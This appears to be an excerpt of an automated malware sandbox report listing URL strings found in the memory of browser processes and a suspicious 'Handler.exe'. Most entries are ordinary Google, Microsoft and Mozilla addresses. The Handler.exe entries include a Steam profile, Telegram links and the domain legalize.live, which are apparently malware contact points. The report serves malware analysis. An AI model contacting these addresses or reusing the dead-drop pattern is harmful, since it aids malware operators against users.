Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000007.00000003.2214994629.00001B0C01D14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2174492471.00001B0C002A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000007.00000003.2174492471.00001B0C002A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard#exps-registration-success-page-urls
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000007.00000003.2174492471.00001B0C002A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardatures
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000007.00000003.2197613265.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2196820835.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: Handler.exe, 00000001.00000002.2661407306.0000000001457000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.000000000458E000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://legalize.live
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://legalize.live/
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://legalize.live/;1H?:
Source: chrome.exe, 00000007.00000003.2184760970.00001B0C003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2185090898.00001B0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000007.00000003.2184760970.00001B0C003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2185090898.00001B0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000007.00000003.2172246807.0000106000878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000007.00000003.2174492471.00001B0C002A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload#companion-iph-blocklisted-page-urls
Source: chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000007.00000003.2197613265.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2196820835.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: msedge.exe, 0000000C.00000002.2413301640.000079D402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 0000000C.00000002.2413301640.000079D402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: msedge.exe, 0000000C.00000002.2413301640.000079D402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197327524.00001B0C013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000007.00000003.2213359279.00001B0C0129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000007.00000003.2197727608.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197327524.00001B0C013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197327524.00001B0C013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000007.00000003.2184453930.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2221438898.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180318681.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000007.00000003.2184453930.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2221438898.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180318681.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000007.00000003.2184453930.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2221438898.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180318681.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000007.00000003.2184453930.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2221438898.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180318681.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000007.00000003.2184453930.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2221438898.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180318681.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000007.00000003.2184453930.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2221438898.00001B0C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180318681.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000007.00000003.2180318681.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000007.00000003.2184760970.00001B0C003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2185090898.00001B0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000007.00000003.2197613265.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2196820835.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Handler.exe, Handler.exe, 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199817305251
Source: Handler.exe, 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199817305251fc0stnMozilla/5.0
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/?
Source: Handler.exe, Handler.exe, 00000001.00000002.2661407306.0000000001457000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w0ctzn
Source: Handler.exe, 00000001.00000002.2661407306.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w0ctznL
Source: Handler.exe, 00000001.00000002.2661407306.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w0ctznR
Source: Handler.exe, 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/w0ctznfc0stnMozilla/5.0
Source: Handler.exe, 00000001.00000002.2661407306.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000007.00000003.2197063478.00001B0C00298000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000007.00000003.2178823724.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000007.00000003.2197613265.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2196820835.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000007.00000003.2197613265.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2196820835.00001B0C01338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197180824.00001B0C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197469825.00001B0C01384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197327524.00001B0C013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.WSo7OLdFZck.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197327524.00001B0C013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.CEsjJf2wziM.L.W.O/m=qmd
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Handler.exe, 00000001.00000002.2669636427.00000000049EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
